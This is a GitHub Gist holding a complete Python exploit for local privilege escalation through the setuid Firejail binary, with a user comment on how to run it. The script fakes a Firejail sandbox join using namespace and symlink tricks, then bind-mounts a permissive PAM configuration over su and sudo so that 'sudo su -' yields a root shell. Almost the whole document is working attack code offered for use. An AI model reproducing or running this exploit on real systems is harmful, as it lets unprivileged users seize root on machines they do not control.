Created
March 24, 2023 00:06
-
-
Save GugSaas/9fb3e59b3226e8073b3f8692859f8d25 to your computer and use it in GitHub Desktop.
Firejail suid bit priv esc - Exploit
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
import os | |
import shutil | |
import stat | |
import subprocess | |
import sys | |
import tempfile | |
import time | |
from pathlib import Path | |
# Print error message and exit with status 1 | |
def printe(*args, **kwargs): | |
kwargs['file'] = sys.stderr | |
print(*args, **kwargs) | |
sys.exit(1) | |
# Return a boolean whether the given file path fulfils the requirements for the | |
# exploit to succeed: | |
# - owned by uid 0 | |
# - size of 1 byte | |
# - the content is a single '1' ASCII character | |
def checkFile(f): | |
s = os.stat(f) | |
if s.st_uid != 0 or s.st_size != 1 or not stat.S_ISREG(s.st_mode): | |
return False | |
with open(f) as fd: | |
ch = fd.read(2) | |
if len(ch) != 1 or ch != "1": | |
return False | |
return True | |
def mountTmpFS(loc): | |
subprocess.check_call("mount -t tmpfs none".split() + [loc]) | |
def bindMount(src, dst): | |
subprocess.check_call("mount --bind".split() + [src, dst]) | |
def checkSelfExecutable(): | |
s = os.stat(__file__) | |
if (s.st_mode & stat.S_IXUSR) == 0: | |
printe(f"{__file__} needs to have the execute bit set for the exploit to \ | |
work. Run `chmod +x {__file__}` and try again.") | |
# This creates a "helper" sandbox that serves the purpose of making available | |
# a proper "join" file for symlinking to as part of the exploit later on. | |
# | |
# Returns a tuple of (proc, join_file), where proc is the running subprocess | |
# (it needs to continue running until the exploit happened) and join_file is | |
# the path to the join file to use for the exploit. | |
def createHelperSandbox(): | |
# just run a long sleep command in an unsecured sandbox | |
proc = subprocess.Popen( | |
"firejail --noprofile -- sleep 10d".split(), | |
stderr=subprocess.PIPE) | |
# read out the child PID from the stderr output of firejail | |
while True: | |
line = proc.stderr.readline() | |
if not line: | |
raise Exception("helper sandbox creation failed") | |
# on stderr a line of the form "Parent pid <ppid>, child pid <pid>" is output | |
line = line.decode('utf8').strip().lower() | |
if line.find("child pid") == -1: | |
continue | |
child_pid = line.split()[-1] | |
try: | |
child_pid = int(child_pid) | |
break | |
except Exception: | |
raise Exception("failed to determine child pid from helper sandbox") | |
# We need to find the child process of the child PID, this is the | |
# actual sleep process that has an accessible root filesystem in /proc | |
children = f"/proc/{child_pid}/task/{child_pid}/children" | |
# If we are too quick then the child does not exist yet, so sleep a bit | |
for _ in range(10): | |
with open(children) as cfd: | |
line = cfd.read().strip() | |
kids = line.split() | |
if not kids: | |
time.sleep(0.5) | |
continue | |
elif len(kids) != 1: | |
raise Exception(f"failed to determine sleep child PID from helper \ | |
sandbox: {kids}") | |
try: | |
sleep_pid = int(kids[0]) | |
break | |
except Exception: | |
raise Exception("failed to determine sleep child PID from helper \sandbox") | |
else: | |
raise Exception(f"sleep child process did not come into existence in {children}") | |
join_file = f"/proc/{sleep_pid}/root/run/firejail/mnt/join" | |
if not os.path.exists(join_file): | |
raise Exception(f"join file from helper sandbox unexpectedly not found at \ | |
{join_file}") | |
return proc, join_file | |
# Re-executes the current script with unshared user and mount namespaces | |
def reexecUnshared(join_file): | |
if not checkFile(join_file): | |
printe(f"{join_file}: this file does not match the requirements (owner uid 0, \ | |
size 1 byte, content '1')") | |
os.environ["FIREJOIN_JOINFILE"] = join_file | |
os.environ["FIREJOIN_UNSHARED"] = "1" | |
unshare = shutil.which("unshare") | |
if not unshare: | |
printe("could not find 'unshare' program") | |
cmdline = "unshare -U -r -m".split() | |
cmdline += [__file__] | |
# Re-execute this script with unshared user and mount namespaces | |
subprocess.call(cmdline) | |
if "FIREJOIN_UNSHARED" not in os.environ: | |
# First stage of execution, we first need to fork off a helper sandbox and | |
# an exploit environment | |
checkSelfExecutable() | |
helper_proc, join_file = createHelperSandbox() | |
reexecUnshared(join_file) | |
helper_proc.kill() | |
helper_proc.wait() | |
sys.exit(0) | |
else: | |
# We are in the sandbox environment, the suitable join file has been | |
# forwarded from the first stage via the environment | |
join_file = os.environ["FIREJOIN_JOINFILE"] | |
# We will make /proc/1/ns/user point to this via a symlink | |
time_ns_src = "/proc/self/ns/time" | |
# Make the firejail state directory writeable, we need to place a symlink to | |
# the fake join state file there | |
mountTmpFS("/run/firejail") | |
# Mount a tmpfs over the proc state directory of the init process, to place a | |
# symlink to a fake "user" ns there that firejail thinks it is joining | |
try: | |
mountTmpFS("/proc/1") | |
except subprocess.CalledProcessError: | |
# This is a special case for Fedora Linux where SELinux rules prevent us | |
# from mounting a tmpfs over proc directories. | |
# We can still circumvent this by mounting a tmpfs over all of /proc, but | |
# we need to bind-mount a copy of our own time namespace first that we can | |
# symlink to. | |
with open("/tmp/time", 'w') as _: | |
pass | |
time_ns_src = "/tmp/time" | |
bindMount("/proc/self/ns/time", time_ns_src) | |
mountTmpFS("/proc") | |
FJ_MNT_ROOT = Path("/run/firejail/mnt") | |
# Create necessary intermediate directories | |
os.makedirs(FJ_MNT_ROOT) | |
os.makedirs("/proc/1/ns") | |
# Firejail expects to find the umask for the "container" here, else it fails | |
with open(FJ_MNT_ROOT / "umask", 'w') as umask_fd: | |
umask_fd.write("022") | |
# Create the symlink to the join file to pass Firejail's sanity check | |
os.symlink(join_file, FJ_MNT_ROOT / "join") | |
# Since we cannot join our own user namespace again fake a user namespace that | |
# is actually a symlink to our own time namespace. This works since Firejail | |
# calls setns() without the nstype parameter. | |
os.symlink(time_ns_src, "/proc/1/ns/user") | |
# The process joining our fake sandbox will still have normal user privileges, | |
# but it will be a member of the mount namespace under the control of *this* | |
# script while *still* being a member of the initial user namespace. | |
# 'no_new_privs' won't be set since Firejail takes over the settings of the | |
# target process. | |
# | |
# This means we can invoke setuid-root binaries as usual but they will operate | |
# in a mount namespace under our control. To exploit this we need to adjust | |
# file system content in a way that a setuid-root binary grants us full | |
# root privileges. 'su' and 'sudo' are the most typical candidates for it. | |
# | |
# The tools are hardened a bit these days and reject certain files if not owned | |
# by root e.g. /etc/sudoers. There are various directions that could be taken, | |
# this one works pretty well though: Simply replacing the PAM configuration | |
# with one that will always grant access. | |
with tempfile.NamedTemporaryFile('w') as tf: | |
tf.write("auth sufficient pam_permit.so\n") | |
tf.write("account sufficient pam_unix.so\n") | |
tf.write("session sufficient pam_unix.so\n") | |
# Be agnostic about the PAM config file location in /etc or /usr/etc | |
for pamd in ("/etc/pam.d", "/usr/etc/pam.d"): | |
if not os.path.isdir(pamd): | |
continue | |
for service in ("su", "sudo"): | |
service = Path(pamd) / service | |
if not service.exists(): | |
continue | |
# Bind mount over new "helpful" PAM config over the original | |
bindMount(tf.name, service) | |
print(f"You can now run 'firejail --join={os.getpid()}' in another terminal to obtain \ | |
a shell where 'sudo su -' should grant you a root shell.") | |
while True: | |
line = sys.stdin.readline() | |
if not line: | |
break |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
The idea of the exploit is exactly this, in a terminal you can start the service and in another terminal you must execute the command: "su" or "sudo su -" or "su -"
Remembering that sometimes (not always) it is necessary to run the command firejail --join=PID